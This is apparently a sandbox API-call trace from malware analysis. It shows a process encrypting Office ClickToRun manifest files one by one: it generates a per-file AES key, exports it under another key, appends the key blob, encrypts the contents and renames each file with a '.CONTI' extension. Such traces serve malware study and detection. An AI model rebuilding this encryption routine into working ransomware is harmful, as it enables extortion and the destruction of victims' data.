	[0103.630] ReadFile (in: hFile=0x37c, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x7fa, lpOverlapped=0x0) returned 1
	[0103.630] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x7fa, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x800) returned 1
	[0103.630] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.630] WriteFile (in: hFile=0x37c, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x800, lpOverlapped=0x0) returned 1
	[0103.630] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.630] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.630] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.630] CloseHandle (hObject=0x37c) returned 1
	[0103.631] GetProcessHeap () returned 0x1720000
	[0103.631] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.632] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml"
	[0103.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.CONTI"
	[0103.632] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.conti")) returned 1
	[0103.636] GetProcessHeap () returned 0x1720000
	[0103.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.636] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.636] GetProcessHeap () returned 0x1720000
	[0103.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfbf0 | out: hHeap=0x1720000) returned 1
	[0103.636] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.636] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c8270) returned 1
	[0103.636] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x3cffb14 | out: pbData=0x17c5594*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.637] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.638] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.638] GetLastError () returned 0x0
	[0103.638] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1526) returned 1
	[0103.638] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5f6
	[0103.638] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.638] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.638] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.638] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.638] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.640] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.640] ReadFile (in: hFile=0x3b4, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x5f6, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x5f6, lpOverlapped=0x0) returned 1
	[0103.640] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x5f6, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x600) returned 1
	[0103.640] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.640] WriteFile (in: hFile=0x3b4, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x600, lpOverlapped=0x0) returned 1
	[0103.640] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.640] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.640] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.640] CloseHandle (hObject=0x3b4) returned 1
	[0103.641] GetProcessHeap () returned 0x1720000
	[0103.641] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.641] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml"
	[0103.641] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.CONTI"
	[0103.641] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.641] GetProcessHeap () returned 0x1720000
	[0103.641] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.641] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.641] GetProcessHeap () returned 0x1720000
	[0103.641] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1ad8 | out: hHeap=0x1720000) returned 1
	[0103.641] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.641] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5348 | out: phKey=0x17c5348*=0x17c8270) returned 1
	[0103.641] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c534c, pdwDataLen=0x3cffb14 | out: pbData=0x17c534c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.642] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x20
	[0103.642] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.642] GetLastError () returned 0x0
	[0103.642] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=11048) returned 1
	[0103.642] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2b28
	[0103.643] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.643] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.643] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.643] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.643] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c534c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c534c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.645] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.645] ReadFile (in: hFile=0x3b4, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2b28, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2b28, lpOverlapped=0x0) returned 1
	[0103.645] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2b28, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2b30) returned 1
	[0103.645] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.645] WriteFile (in: hFile=0x3b4, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2b30, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2b30, lpOverlapped=0x0) returned 1
	[0103.645] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.645] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5340*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5340*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.646] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.646] CloseHandle (hObject=0x3b4) returned 1
	[0103.646] GetProcessHeap () returned 0x1720000
	[0103.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.646] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml"
	[0103.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.CONTI"
	[0103.646] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.conti")) returned 1
	[0103.646] GetProcessHeap () returned 0x1720000
	[0103.646] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.646] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.646] GetProcessHeap () returned 0x1720000
	[0103.646] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0ca0 | out: hHeap=0x1720000) returned 1
	[0103.646] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.646] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c8270) returned 1
	[0103.646] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x3cffb14 | out: pbData=0x17c459c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.647] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.647] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.647] GetLastError () returned 0x0
	[0103.647] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=2310) returned 1
	[0103.648] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x906
	[0103.648] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.648] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.648] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.648] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.648] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.650] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.650] ReadFile (in: hFile=0x3b4, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x906, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x906, lpOverlapped=0x0) returned 1
	[0103.650] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x906, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x910) returned 1
	[0103.650] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.650] WriteFile (in: hFile=0x3b4, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x910, lpOverlapped=0x0) returned 1
	[0103.650] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.650] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.650] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.650] CloseHandle (hObject=0x3b4) returned 1
	[0103.650] GetProcessHeap () returned 0x1720000
	[0103.650] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.650] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml"
	[0103.650] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.CONTI"
	[0103.650] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.651] GetProcessHeap () returned 0x1720000
	[0103.651] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.651] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.651] GetProcessHeap () returned 0x1720000
	[0103.651] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1bd0 | out: hHeap=0x1720000) returned 1
	[0103.651] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.651] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c8270) returned 1
	[0103.651] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x3cffb14 | out: pbData=0x17c5c6c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.652] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x20
	[0103.768] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.768] GetLastError () returned 0x0
	[0103.768] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=11146) returned 1
	[0103.768] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2b8a
	[0103.768] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.768] SetEndOfFile (hFile=0x3b4) returned 1
